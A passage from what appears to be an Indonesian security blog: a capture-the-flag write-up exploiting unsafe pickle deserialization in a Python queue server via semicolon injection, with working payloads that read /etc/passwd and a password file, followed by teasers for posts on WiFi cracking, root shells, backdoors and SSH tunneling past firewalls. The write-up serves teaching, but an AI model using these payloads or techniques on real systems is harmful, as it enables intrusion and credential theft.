QueueUtils.deserialize(result) else: return None class QueueWorker(object): def __init__(self): # ensure tmp directories exist if not os.path.exists(Job.QUEUE_JOBS): os.mkdir(Job.QUEUE_JOBS) if not os.path.exists(Job.QUEUE_RESULTS): os.mkdir(Job.QUEUE_RESULTS) def poll(self): while True: available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)] for job_file in available_jobs: try: self.process(job_file) except Exception, e: logger.error('Error processing %s' % job_file) traceback.print_exc() else: logger.debug('Successfully processed %s' % job_file) finally: os.unlink(job_file) if available_jobs: logger.info('Processed %d available jobs' % len(available_jobs)) else: time.sleep(1) def process(self, job_file): serialized = open(job_file).read() type, data, job = QueueUtils.deserialize(serialized) job.start() result_data = self.perform(data) job.complete() QueueUtils.enqueue('RESULT', result_data, job) def perform(self, data): return data.upper() class QueueHttpServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(404) self.send_header('Content-type','text/plain') self.end_headers() output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." } self.wfile.write(json.dumps(output)) self.wfile.close() def do_POST(self): length = int(self.headers.getheader('content-length')) post_data = self.rfile.read(length) raw_data = urllib.unquote(post_data) queue = QueueServer() job = Job() type, data, job = queue.run_job(data=raw_data, job=job) if job: status = 200 output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created } else: status = 504 output = { 'result' : data } self.send_response(status) self.send_header('Content-type','text/plain') self.end_headers() self.wfile.write(json.dumps(output, sort_keys=True, indent=4)) self.wfile.write('\n') self.wfile.close() def run_server(): try: server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer) logger.info('Starting QueueServer') server.serve_forever() except KeyboardInterrupt: logger.info('^C received, shutting down server') server.socket.close() def run_worker(): worker = QueueWorker() worker.poll() def main(): parser = optparse.OptionParser("""%prog [options] type""") parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.', dest='verbosity', action='count', default=0) opts, args = parser.parse_args() if opts.verbosity == 1: logger.setLevel(logging.INFO) elif opts.verbosity >= 2: logger.setLevel(logging.DEBUG) if len(args) != 1: parser.print_help() return 1 if args[0] == 'worker': run_worker() elif args[0] == 'server': run_server() else: raise ValueError('Invalid type %s' % args[0]) return 0 if __name__ == '__main__': sys.exit(main())
Ini adalah aplikasi web yang dibuat dengan bahasa python. Aplikasi ini memakai module pickle yang diketahui dangerous bila tidak berhati-hati memakainya. Artikel sour pickle di blackhat-USA 2011 ini menjelaskan tentang eksploitasi pickle.
Problem utamanya adalah pada fungsi deserialize() di bawah ini:
1 2 3 4 5 6 7 8 | def deserialize(serialized): logger.debug('Deserializing: %r' % serialized) parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL) match = parser.match(serialized) direction = match.group(1) data = match.group(2) job = pickle.loads(match.group(3)) return direction, data, job |
Pada baris ke-7 ada pemanggilan fungsi pickle.loads() untuk mengubah string menjadi object (deserialize). Fungsi load ini bisa diexploitasi untuk mengeksekusi command shell bila string yang diload adalah string yang malicious.
Sebelumnya mari kita coba menjalankan aplikasi ini di system sendiri agar lebih leluasa melihat lognya. Dengan menjalankan command:
curl localhost:9020 -d 'testdata'
Berikut ini adalah log yang terlihat:
1 2 | Deserializing: "type: JOB; data: testdata; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." TEST ini JOBnya lhooo--> "ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." <-- |
Pada baris ke-2 adalah log yang saya tambahkan sendiri untuk melihat string yang akan di load oleh pickle. Input program ini ada 3 field: type, data dan job. Terlihat bahwa string yang diload oleh pickle adalah field job yang bukan berasal dari input user, sedangkan string yang diinput user (“testdata”) tidak ikut diload oleh pickle karena bukan bagian dari field job.
Ide serangannya adalah dengan menginjeksi malicious string yang bila diload oleh pickle akan mengeksekusi command. Contoh string yang malicious adalah:
cos system (S'cat /etc/passwd' tR.
String di atas bila diload oleh pickle akan mengeksekusi command “cat /etc/passwd”.
Tapi masalahnya adalah string yang kita masukkan sebagai input tidak ikut diload oleh pickle karena input user masuk dalam field data, bukan field job. Bagaimanakah caranya agar input user dianggap sebagai bagian dari field job ?
Dari fungsi deserializae() terlihat ada regular expression yang memecah sebuah string menjadi 3 field: type, data dan job. Tiga field tersebut dipisahkan oleh karakter ‘;’. Bagaimana bila kita memasukkan input string yang mengandung karakter ‘;’ seperti ini:
curl localhost:9020 -d 'inidata; job: inijob'
Deserializing: "type: JOB; data: inidata; job: inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." TEST ini JOBnya lhooo--> "inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." <--
Perhatikan bahwa sebagian dari string yang kita input kini menjadi bagian dari field job dan ikut diload oleh pickle. Ini karena regular expression mendeteksi adanya karakter ‘;’ dalam input string kita sehingga menganggap sebagai batas field dan memasukkan string ‘inijob’ menjadi bagian dari field job.
Oke kini kita sekarang sudah berhasil menginjeksi string ke dalam field job yang akan diload oleh pickle. Sekarang tinggal bagaimana menyusun payload yang valid untuk diinjeksikan ke dalam aplikasi. Dengan payload sederhana di bawah ini password level06 bisa didapatkan.
$ cat payload.pkl cos system (S'cat /home/level06/.password > /tmp/levelsixx' tR. $ curl localhost:9020 -d "hajar; job: `cat payload.pkl`" { "result": "Job timed out" } $ cat /tmp/levelsixx SF2w8qU1QDj
Pada Desember 2011 lalu, nRuns AG mempublikasikan kerentantan pada implementasi hash table yang bisa dieksploitasi untuk melakukan serangan denial of service. Karena hash table adalah struktur data dasar yang tersedia di hampir semua bahasa pemrograman, maka kerentanan ini bisa dieksploitasi di hampir semua bahasa pemrograman yang ada, termasuk PHP, ASP.NET, Java, Ruby dsb.
Sebagai tulisan pembuka di tahun 2012, saya akan membahas mengenai apa itu hash table, cara kerja hash table, di mana kerentanan implementasi hash table saat ini dan bagaimana cara mengeksploitasinya.
Continue reading »
Dalam tulisan ini saya akan sharing bagaimana menyelesaikan challenge CTF OWASP dalam Appsec USA 2011.
Dalam challenge ini kita diminta mendownload sebuah file ZIP yang berisi sebuah Applet (dalam JAR) dan html untuk me-load Applet tersebut. Ketika Applet tersebut dibuka di browser akan terlihat seperti ini:
Kita dihadapkan pada form yang meminta kita memasukkan username dan PIN. Jadi challenge kita adalah menemukan username dan PIN yang tepat untuk mendapatkan flag yang terenkripsi. Dari form tersebut kita mendapat clue bahwa PIN ini formatnya adalah 6 digit.
Continue reading »
Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.
Continue reading »
iRedAPD adalah salah satu komponen dari iRedMail yang merupakan kumpulan script dan tools untuk membuat mail server lengkap dengan cara instalasi yang mudah dan sederhana. Saya menemukan kelemahan pada iRedAPD sebelum versi 1.3.3 yang bisa dieksploit untuk mendapatkan root. Bug ini saya temukan bulan juli 2010, advisory sudah diumumkan di sini. Agar lebih jelas, di akhir tulisan saya embed juga video proof-of-concept eksploitasi bug ini.
Continue reading »
Agar lebih mudah memahami pemakaian WiFu Cheat Sheet, saya membuat 4 video tutorial untuk masing-masing skenario, yaitu WEP SKA, WEP OSA, Clientless WEP dan WPA/WPA2 PSK.
Dalam video saya memasukkan MAC address access point, MAC address komputer yang menjalankan backtrack dan MAC address salah satu client yang terkoneksi ke access point ke dalam file macaddress.sh untuk menyederhanakan video. Informasi MAC address access point dan MAC address client bisa didapatkan dengan menjalankan “airodump-ng wlan0″ , sedangkan informasi MAC address komputer sendiri bisa didapatkan dengan menjalankan “macchanger -s wlan0″.
Clientless WEPContinue reading »
Saya baru membuat cheat sheet yang cukup padat namun singkat untuk hacking wireless network dengan Aircrack-ng . Aircrack-ng adalah kumpulan tools yang digunakan untuk melakukan hacking terhadap jaringan wireless. Tools yang termasuk dalam aircrack-ng antara lain: airmon-ng, airodump-ng, aireplay-ng, packetforge-ng, aircrack-ng dan masih banyak lagi lainnya.
Pre-requisite:- Backtrack, nggak harus tapi very recommended
- Wireless adapter dengan kemampuan packet injection. Saya pakai Alfa AWUS036H karena jangkauannya sangat jauh dan works out of the box di backtrack. Daftar lengkap wireless adapter yang compatible dengan backtrack bisa dilihat di daftar ini HCL: Wireless.
Cheat sheet ini mengcover sebagian besar kemungkinan situasi di dunia nyata. Skenario jaringan wireless yang bisa dihack dengan mengikuti cheat sheet ini adalah:
- WEP open authentication dengan client atau tanpa client (clientless WLAN)
- WEP shared key authentication (minimal harus ada 1 client)
- WPA/WPA2 Pre Shared Key (minimal harus ada 1 client)
Hampir semua jaringan wireless yang ada sekarang masuk dalam 3 kemungkinan di atas. Jaringan dengan WEP, praktis bisa dihack semua. Jaringan dengan WPA/WPA2 bisa dihack dengan dictionary attack, jadi sangat tergantung daftar password yang dimiliki. Dalam cheat sheet saya juga menyertakan cara menggunakan john the ripper untuk generate password list atau melakukan modifikasi daftar password dasar menjadi kata baru berdasarkan aturan tertentu.
Oke, selanjutnya langsung saja download cheat sheetnya: WiFu Cheat Sheet 1.0Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.
Continue reading »
SSH Tunneling adalah teknik yang wajib dikuasai hacker. Teknik ini sangat cocok dipakai sebagai backdoor dari dunia luar langsung menembus ke dalam “behind enemy lines” melewati semua firewall, IDS, IPS atau apapun itu di perbatasan. Dalam artikel ini saya juga menjelaskan bagaimana melakukan chaining tunnel, yaitu menyambung tunnel dengan tunnel lain.
Apa itu Tunneling?
Secara sederhana tunneling berarti mengirimkan data melalui koneksi lain yang sudah terbentuk. Kalau anda buka situs internet banking, pasti anda akan membukanya dengan URL berawalan “https”, yang sejatinya adalah data dalam protokol HTTP yang dikirimkan melalui koneksi dengan protokol SSL, atau “HTTP over SSL”, dalam bahasa gaulnya berarti HTTP digendong sama SSL.
SSH dan SSL adalah dua contoh tunneling protocol, keduanya bisa dipakai untuk menggendong data dalam protokol apa saja (tidak hanya http). Hanya bedanya adalah pada SSL dibutuhkan public key certificate dalam format X.509 yang perlu diverifikasi melalui Certificate Authority resmi. SSH tidak memerlukan public key certificate, sehingga lebih sederhana dan lebih mudah dipakai.
Continue reading »Mungkin anda akan terkejut bila mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya karena sebuah kesalahan “konyol”. Tidak dibutuhkan keahlian programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah direktori yang berisi file-file sensitif, maka sebuah website akan bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi.
Direktori SensitifSemua direktori atau file yang mengandung informasi berguna buat hacker untuk mendeface website anda, maka direktori itu termasuk sensitif. Beberapa direktori atau file yang tergolong sensitif antara lain: